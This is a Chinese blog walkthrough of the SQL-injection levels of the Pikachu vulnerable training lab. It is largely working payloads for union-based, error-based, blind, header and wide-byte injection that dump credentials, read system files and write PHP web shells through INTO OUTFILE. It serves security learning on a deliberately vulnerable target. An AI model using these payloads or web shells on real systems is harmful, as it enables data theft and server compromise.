目录

一、官方的戏精引言

二、仙女在认真闯关

一重天 数字型注入

二重天 字符型注入

三重天 搜索型注入

四重天 xx型注入

五重天 insert/update注入

(1)insert注入

(2)update注入

六重天 delete注入

七重天 http头注入

八重天 盲注(base on boolian)

九重天 盲注(base on time)

天外天 宽字节注入

靠谱推荐


一、官方的戏精引言

本节引用来自pikachu漏洞靶场

哦,SQL注入漏洞,可怕的漏洞。


     在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

二、仙女在认真闯关

先说一句,靶场的配套数据库是mysql

一重天 数字型注入

*数字型注入相关的sql语句大概是个 select xxcolumns from xxtable where id=input的形式。*

这关有个下拉菜单可以选数字。由于从url看不到什么变化,我们用burpsuite抓包看一下。

果然是POST方法

后面开始用firefox的hackbar来实施注入,比用burpsuite直观方便点

既然题目说了是数字型,就不找闭合了,按照下面的步骤进行:

1、找列数 payload: id=1 order by n#&submit=%E6%9F%A5%E8%AF%A2

payload中的n为数字,表示select语句结果的列数,如果猜测的列数小于等于select语句查询结果的列数,会返回本关开始那张图,如果猜测的列数大于select语句查询结果的列数,会返回报错。比如从下面两张图可知select语句查询结果有2列。

2、爆库 payload:id=1 union select database(),2#&submit=%E6%9F%A5%E8%AF%A2

上一步知道了查询结果有两列,再看浏览器的返回结果,有用户名和邮箱,所以估计返回结果的两列都是可显示的,因此爆库的时候随便选一列就好。

当前数据库叫pikachu

3、爆表 payload:id=1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#&submit=%E6%9F%A5%E8%AF%A2

表有httpinfo,member,message,users,xssblind

4、爆列 payload:id=1 union select group_concat(column_name),2 from information_schema.columns where table_name='users'#&submit=%E6%9F%A5%E8%AF%A2

5、爆数据 payload:id=1 union select username,password from users#&submit=%E6%9F%A5%E8%AF%A2

密码是md5的,拿去网站https://cmd5.com/爆破一下

admin的密码是123456,pikachu的密码是000000,test的密码是abc123。

6、读文件  payload:id=1 union select load_file('C:/Windows/win.ini'),1 from users#&submit=%E6%9F%A5%E8%AF%A2

7、写马  payload:id=1 union select 1,'<?php assert($_POST[1]);?>' into outfile 'C:/phpstudy_pro/WWW/pikachu/vul/sqli/1.php'#&submit=%E6%9F%A5%E8%AF%A2

虽然出现报错,但是马其实已经写好了

二重天 字符型注入

*字符型注入相关的sql语句大概是个 select xxcolumns from xxtable where param ='input'的形式。*

随便输入个用户名fancy,提示输入的用户不存在,得到个url

移步firefox开始进行sql注入步骤:

1、找列数 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_str.php?name=fancy' order by 2%23&submit=%E6%9F%A5%E8%AF%A2

payload中的%23就是#,由于在url中#有特殊含义所以要转义

原理和上一关一样,如果猜测的列数小于等于select语句查询结果的列数,会返回本关开始那张图,如果猜测的列数大于select语句查询结果的列数,会返回报错。

最终发现查询结果列数为2

2、爆库 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_str.php?name=fancy' union select 1,database()%23&submit=%E6%9F%A5%E8%AF%A2

由于fancy是不存在的用户,不会返回结果,因此返回的结果只有当前数据库名称,pikachu

3、爆表 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_str.php?name=fancy' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23&submit=%E6%9F%A5%E8%AF%A2

4、爆列 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_str.php?name=fancy' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'%23&submit=%E6%9F%A5%E8%AF%A2

5、爆数据  payload:http://192.168.101.16/pikachu/vul/sqli/sqli_str.php?name=fancy' union select username,password from users%23&submit=%E6%9F%A5%E8%AF%A2

6、读文件 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_str.php?name=fancy' union select 1,load_file('C:/Windows/win.ini')%23&submit=%E6%9F%A5%E8%AF%A2

7、写马 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_str.php?name=fancy' union select 1,'<?php assert($_POST[2]); ?>' into outfile 'C:/phpstudy_pro/WWW/pikachu/vul/sqli/2.php'%23&submit=%E6%9F%A5%E8%AF%A2

三重天 搜索型注入

*搜索型注入相关的sql语句大概是个 select xxcolumns from xxtable where param like '%input%'的形式。本质还是字符型注入,只是闭合不一样。*

先输入个xi,搜索之后虽然没有搜索到输入的信息,但是得到了url,目的达成。

下面来开始注入:

1、找闭合

地址栏输入http://192.168.101.16/pikachu/vul/sqli/sqli_search.php?name=xi'&submit=%E6%90%9C%E7%B4%A2

有下图的报错信息,根据报错信息判断闭合是%'

输入payload:http://192.168.101.16/pikachu/vul/sqli/sqli_search.php?name=xi%'%23&submit=%E6%90%9C%E7%B4%A2

进行验证,没有报错,说明闭合猜对了

下面的套路就和上一关一样啦,就简单看看吧

2、找列数 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_search.php?name=xi%' order by 3%23&submit=%E6%90%9C%E7%B4%A2

从下面两张图可知本关查询结果有3列

3、爆库 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_search.php?name=xi%' union select database(),2,3%23&submit=%E6%90%9C%E7%B4%A2

也不知道哪列会回显到浏览器上,就随便猜一列吧。

当前数据库是pikachu,顺便还知道了3列都回显。

4、爆表 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_search.php?name=xi%' union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()%23&submit=%E6%90%9C%E7%B4%A2

5、爆列 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_search.php?name=xi%' union select group_concat(column_name),2,3 from information_schema.columns where table_name='users'%23&submit=%E6%90%9C%E7%B4%A2

6、爆内容 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_search.php?name=xi%' union select username,password,level from users%23&submit=%E6%90%9C%E7%B4%A2

7、读文件 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_search.php?name=xi%' union select 1,2,load_file('C:/Windows/win.ini')%23&submit=%E6%90%9C%E7%B4%A2

8、写马 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_search.php?name=xi%' union select 1,2,'<?php eval($_POST[3]);?>' into outfile 'C:/phpstudy_pro/WWW/pikachu/vul/sqli/3.php'%23&submit=%E6%90%9C%E7%B4%A2

四重天 xx型注入

*本质还是字符型注入,只是闭合不是那么简单。估计pikachu的作者也想不出什么好名字了。。*

输入fancy,得到url

下面从找闭合开始,逐步进行注入,由于之前三关用的payload都差不多,这关准备稍微搞点花样,不然太没意思了。。。

1、找闭合

浏览器地址栏输入http://192.168.101.16/pikachu/vul/sqli/sqli_x.php?name=fancy'&submit=%E6%9F%A5%E8%AF%A2

得到如下图的报错,通过报错信息知道这关的闭合是')

浏览器地址栏输入http://192.168.101.16/pikachu/vul/sqli/sqli_x.php?name=fancy')%23&submit=%E6%9F%A5%E8%AF%A2

没有报错,说明闭合找对了

2、确认列数 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_x.php?name=fancy') order by 2%23&submit=%E6%9F%A5%E8%AF%A2

order by 2不报错,order by 3报错,说明sql语句的查询结果有2列

3、爆库 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_x.php?name=fancy') union select database(),2%23&submit=%E6%9F%A5%E8%AF%A2

当前数据库是pikachu,根据结果可知两列查询结果都回显

4、爆表 payload:

其实爆表的时候既可以查表information_schema.tables也可以查表information_schema.columns

只是用表information_schema.columns来查table_name的话,会有很多重复的列,需要用distinct来去重。

另外爆表,爆列的时候,数据库名,表名都可以用字符串或者十六进制ascii码。

比如这题,除了和上一关差不多的payload之外,下面两种payload也都是可以的:

http://192.168.101.16/pikachu/vul/sqli/sqli_x.php?name=fancy') union select group_concat(distinct table_name),2 from information_schema.columns where table_schema='pikachu'%23&submit=%E6%9F%A5%E8%AF%A2

http://192.168.101.16/pikachu/vul/sqli/sqli_x.php?name=fancy') union select distinct table_name,2 from information_schema.columns where table_schema=0x70696B61636875%23&submit=%E6%9F%A5%E8%AF%A2

5、爆列 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_x.php?name=fancy') union select group_concat(column_name),2 from information_schema.columns where table_name=0x7573657273%23&submit=%E6%9F%A5%E8%AF%A2

6、爆内容  payload:http://192.168.101.16/pikachu/vul/sqli/sqli_x.php?name=fancy') union select username,password from users%23&submit=%E6%9F%A5%E8%AF%A2

7、读文件 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_x.php?name=fancy') union select 1, load_file('c:/windows/win.ini')%23&submit=%E6%9F%A5%E8%AF%A2

8、写马 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_x.php?name=fancy') union select 1,'<?php assert($_POST[4]);?>' into outfile 'C:/phpstudy_pro/WWW/pikachu/vul/sqli/4.php'%23&submit=%E6%9F%A5%E8%AF%A2

五重天 insert/update注入

*insert型注入相关的sql语句大概是个 INSERT INTO 表名称 VALUES (值1, 值2,....)或者INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....) 的形式。*

*update型注入相关的sql语句大概是个 UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值 的形式。*

终于来了个不一样的哈

(1)insert注入

点击上图的“注册”进行注册。注册页面如果有注入漏洞的话,应该是insert类型的,因为注册相当于往表里插一行新数据。

一边注册一边burpsuite抓个包。从抓包结果看是post型的,除了submit之外有6个参数。

转移到firefox的hackbar。

1、猜闭合

post data填写:

username=xixi','111')#&password=666666&sex=&phonenum=&email=&add=&submit=submit

结果报错了,说列数不对。

其实到这边已经可以基本确认这关闭合是单引号了,但是为了严谨,重新构造如下payload:

username=xixi','111','222','333','444','555')#&password=666666&sex=&phonenum=&email=&add=&submit=submit

注册成功,说明闭合确实是单引号。

2、爆库

从上面的操作可以看出来,注册页面是没有sql结果回显的,而且毕竟也不是select语句,也不能采取联合查询注入了。

不过从上一步的操作可以看出来,注册的时候如果sql语句有问题是会报错的,因此报错注入行得通。

payload:username=xixi' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

payload里面是or或者and都可以,注意最后可以不用注释符,把第一个参数的单引号闭合就可以了。当然不怕麻烦的话也可以构造下面的payload:

username=xixi' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '','22','33','44','55','66')#&password=666666&sex=&phonenum=&email=&add=&submit=submit

成功爆出当前数据库名称pikachu,不过0x7e是~,不知道为啥网页上显示的是短横。。

payload中的database()换成user(),可以获得当前登录数据库的用户和host

payload中的database()换成@@version,可以得到数据库的版本

payload中的database()换成@@datadir可以得到数据文件存放目录,但是看这个结果,目录长度超出updatexml函数的显示范围了(显示32个字符),需要在payload中加substr()函数来把剩下的字符显示出来

payload:username=xixi' or updatexml(1,concat(0x7e,substr((select @@datadir),32,30),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

两次结果拼在一起就是完整的数据文件保存路径啦

3、爆表

payload:username= ' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

payload:username= ' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

4、爆列

payload:username= ' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

payload:username= ' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),32,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

payload:username= ' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),63,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

后面就不继续了,就是substr的第2个参数等于前一次的第2个参数加31就行

5、爆数据:

payload:username= ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),1,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

payload:username= ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),32,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

后面也差不多,就不继续爆了。

6、读文件 

payload:username= ' or updatexml(1,concat(0x7e,substr((select load_file('c:/windows/win.ini')),1,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

后面差不多,就是改substr的第2个参数,不继续爆了。

(2)update注入

update操作应该是在修改个人信息的页面

非常值得注意的是,只有性别,手机,住址,邮箱全都有值的时候,才会执行修改用户信息的操作,否则该操作不执行

修改信息,submit,burpsuite抓包。也是一个POST报文

找闭合的步骤省略了,也是先加一个单引号,再加两个单引号,前者报错,后者修改成功,表示闭合是单引号。

1、爆库  payload:sex=nv' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #&phonenum=123&add=123&email=123%40123.com&submit=submit

2、爆表

死活没明白为什么一到这一步参数值就不可以有字符串,改成数字是可以的

payload:sex=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) #&phonenum=123&add=123&email=123%40123.com&submit=submit

后面差不多,就是改substr的第2个参数

3、爆列 payload:sex=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) #&phonenum=123&add=123&email=123%40123.com&submit=submit

4、爆内容 payload:sex=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1) #&phonenum=123&add=123&email=123%40123.com&submit=submit

5、读文件 payload:sex=1' and updatexml(1,concat(0x7e,substr((select load_file('c:/windows/win.ini')),1,31),0x7e),1) #&phonenum=123&add=123&email=123%40123.com&submit=submit

六重天 delete注入

*delete型注入相关的sql语句大概是个 DELETE FROM 表名称 WHERE 列名称 = 值 的形式。*

先留个言,再删个除,burpsuite抓个包

get到url,转战firefox的hackbar

1、爆库  payload:http://192.168.101.16/pikachu/vul/sqli/sqli_del.php?id=58 or updatexml(1,concat(0x7e,(select database()),0x7e),1)

2、爆表 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_del.php?id=58 or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) 

3、爆列 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_del.php?id=58 or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) 

4、爆内容 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_del.php?id=58 or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1) 

5、读文件 payload:http://192.168.101.16/pikachu/vul/sqli/sqli_del.php?id=58 or updatexml(1,concat(0x7e,substr((select load_file('c:/windows/win.ini')),1,31),0x7e),1) 

七重天 http头注入

用户名admin,密码123456登录,并用burpsuite抓包

登录进去之后有回显http request报文头

burpsuite抓到的包

根据业务逻辑和上图网页回显分析,这里如果有sql语句的话,比较大可能是insert或者update语句,注入点可能在User-agent或者Accept头。

改http报文头的话,chrome有个插件,叫ModHeader,长得还挺好看,就长下图这样,想改哪个头就把哪个头加进去就好了。

比如我想改User-agent头,就像下图这样在ModHeader里面加上User-agent头,然后正常访问网页就行。

下面就开始注入啦:

1、爆库

由于之前猜测这关比较可能是insert或者update语句,所以来试一下报错注入

payload: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

2、爆表 payload:' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '

是的,这关前面又不能有字符串。。。小小的脑袋,大大的问号。。。 

3、爆列 payload:' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) or '

4、爆数据 payload:' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1) or '

5、读文件 payload:' or updatexml(1,concat(0x7e,substr((select load_file('c:/windows/win.ini')),1,31),0x7e),1) or '

八重天 盲注(base on boolian)

我咋觉得这大哥想写的是boolean。。。也许是我孤陋寡闻了。。

盲注。。我的天。。。看到这两个字我就想用sqlmap。。。但是,这次我准备借此机会练习一下写python脚本。

这关我试了一下,应该是需要先知道一个member的名字才行,这样猜对的时候会返回下图这样,猜错的时候会返回提示username不存在。

然后这关的提示还给错了,大家可以用lili、lucy之类之前在其他关出现过的名字,也可以爆破,爆破过程这里就省略了。。

1、找闭合

192.168.101.16/pikachu/vul/sqli/sqli_blind_b.php?name=lili'&submit=查询

用户名后面加一个单引号,返回username不存在

192.168.101.16/pikachu/vul/sqli/sqli_blind_b.php?name=lili''&submit=查询

加两个单引号,也返回username不存在

192.168.101.16/pikachu/vul/sqli/sqli_blind_b.php?name=lili'%23&submit=查询

但是加一个单引号在加一个注释符(%23就是#),返回正常结果。所以闭合是单引号。

2、python整起来

下面就是爆库,爆表,爆列,爆数据的步骤了,这玩意儿纯手工感觉要累死人,借此机会磨练一下python技能。

代码有点长,这里就不贴了,给两个链接

(1)我的github仓库,可以直接下载本关代码:JacquelinXiang/sqli_blind: A simple tool/framework for boolean-based or time-based sql injection(blind) (github.com)

不想打开github的话也可以直接把这个链接甩到迅雷或者github加速网站:https://github.com/JacquelinXiang/sqli_blind/archive/refs/heads/main.zip

(2)我的csdn博文,里面也有本关代码:python实现sql布尔盲注_箭雨镜屋-CSDN博客

如果想自己手工爆破也可以,结合一下burpsuite,就是比较烦和费时间。用到的payload在代码里面都有,这里就不再赘述了。

3、注意

布尔盲注的原理是用and或者or拼接返回布尔值的语句,语句结果为真时页面显示一种结果,语句结果为假时页面显示另一种结果,从而判断语句结果是否为真,并据此爆破相关信息。

需要注意的是,本题虽然既可以用and也可以用or来连接,但是用and的时候,拼接的语句为真时返回用户uid和email,而使用or的时候,拼接的语句为假时返回用户的uid和email。

详见下面四张图

这就搞得我很费解,就算or有短路,也是前面短路后面,怎么会后面短路前面呢。。。

于是用navicat试了一下,select id,email from member where username='lili' or 1=1是会返回表中所有id和email的

再看本关代码,第31行,原来是因为只有当返回结果只有一行的时候才会显示用户id和email呀!

看来真的是要具体问题具体分析。

九重天 盲注(base on time)

哎呀,这个更烦,因为时间盲注更慢

先输入个正确的用户名,返回“i don't care who you are!”

再输入个错误的用户名,返回还是“i don't care who you are!”

参数正确和错误都返回一样的结果,就不能用布尔盲注了,试试时间盲注。

时间盲注的原理是构造逻辑语句,为真时执行sleep操作(表现为回包延时),为假时不执行。

比如:

http://192.168.101.16/pikachu/vul/sqli/sqli_blind_t.php?name=lili' and if(1=1,sleep(2),1)%23&submit=%E6%9F%A5%E8%AF%A2

注意:

这关好像不能用or来连接,我也很费解,于是又用navicat试了,像下图这样,当逻辑语句为真时,足足sleep了45秒,即15*3秒,而如果用户名不正确,则睡足48秒,即16*3秒。

经过研究发现,select id,email from member where username='lili' or 1=1的结果有16行。。。原来如此,感情每查一行就sleep(3)。。。

python代码:

代码有点长,这里就不贴了,给两个链接

(1)我的github仓库,可以直接下载本关代码:JacquelinXiang/sqli_blind: A simple tool/framework for boolean-based or time-based sql injection(blind) (github.com)

不想打开github的话也可以直接把这个链接甩到迅雷或者github加速网站:https://github.com/JacquelinXiang/sqli_blind/archive/refs/heads/main.zip

(2)我的csdn博文,里面也有本关代码:python实现sql时间盲注_箭雨镜屋-CSDN博客

如果想自己手工爆破也可以,结合一下burpsuite,就是比较烦和费时间。用到的payload在代码里面都有,这里就不再赘述了。

天外天 宽字节注入

终于最后一关了。。又是新的一天。。这一天累得我连burpsuite都懒得打开了

F12把firefox的firebug弄出来抓包

然后就可以在hackbar里面构造报文了。

然而我突然想起来,我没怎么接触过宽字节注入,还得先学习一下,简单了解一下之后,发现:

(1)宽字节注入使用条件是:PHP发送请求到MySql时使用了语句SET NAMES 'gbk' 或是set character_set_client =gbk 进行了一次编码

(2)宽字节注入的使用原因是:单引号、双引号等特殊字符被转义

(3)宽字节注入的原理是:当转义使用的\为ASCII编码,而客户端传入的参数被当成GBK等宽字节编码,则可以通过在\之前插入一个十六进制字节(ASCII码要大于128,才到汉字的范围)来让mysql以为插入的字节和\是一个中文字符,从而吃掉\,摧毁转义。

接下来就开始尝试吧

首先发送data:name=lili%df'-- ss&submit=%E6%9F%A5%E8%AF%A2,此时返回的是username不存在,猜测此时数据库接收到的语句类似select userid,email from sometable where username='lili啥'-- ss'

啥表示的是某个中文字符。从上面的分析可见,本关用户名肯定是不能正确了,那么连接词肯定不能用and了,得用or。

如果这关也像布尔盲注那关一样,只有返回1行的时候才显示结果,那就真的没有办法了。。不过,兴许不是呢

输入payload:name=lili%df' or 1=1-- ss&submit=%E6%9F%A5%E8%AF%A2

显示了查询结果

输入payload:name=lili%df' or 1=2-- ss&submit=%E6%9F%A5%E8%AF%A2

返回username不存在

至此,我们知道这关本质上还是布尔盲注,只是单引号被转义了,而且又正好符合宽字节注入的条件,所以可以通过宽字节来摧毁转义,达到注入目的。

因此这关其实可以改改布尔盲注那关的python脚本代码,改的时候注意以下几点:

(1)payload中布尔运算符后面的语句不能包含单引号等会被转义的特殊字符

(2)requests模块方法的入参必须写成字符串形式,不能是字典形式(原因是字典形式的参数会被requests模块自动进行url编码)

(3)http头必须包含"Content-Type":"application/x-www-form-urlencoded" (原因也是如果没有这个头,requests模块就会自动对参数进行url编码)

我自己修改之后的python代码也有发在网上,可以从下面两个渠道看:

(1)我的github仓库:JacquelinXiang/sqli_blind: A simple tool/framework for boolean-based or time-based sql injection(blind) (github.com)

本关的代码文件叫sqli_bb_widebyte.py

不想打开github的话也可以直接把这个链接甩到迅雷或者github加速网站:https://github.com/JacquelinXiang/sqli_blind/archive/refs/heads/main.zip

(2)我的csdn博文:python实现sql宽字节注入+布尔盲注_箭雨镜屋-CSDN博客

靠谱推荐

目前本仙女关于SQL注入的产出都在这个分类专栏下面啦:SQL注入_箭雨镜屋-CSDN博客

然后所有pikachu漏洞靶场的通关都在这个专栏下面:pikachu_箭雨镜屋-CSDN博客

欢迎捧场,欢迎交流,欢迎指正

~~piakchu漏洞靶场通关系列完结撒花~~

 

 

 

 

 

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐